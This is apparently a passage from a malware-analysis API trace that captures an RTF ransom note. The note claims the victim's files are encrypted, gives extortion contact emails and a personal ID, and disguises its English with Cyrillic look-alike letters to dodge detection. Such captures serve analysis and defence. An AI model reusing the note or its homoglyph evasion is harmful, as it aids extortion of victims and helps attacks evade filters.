pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x27bfb38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 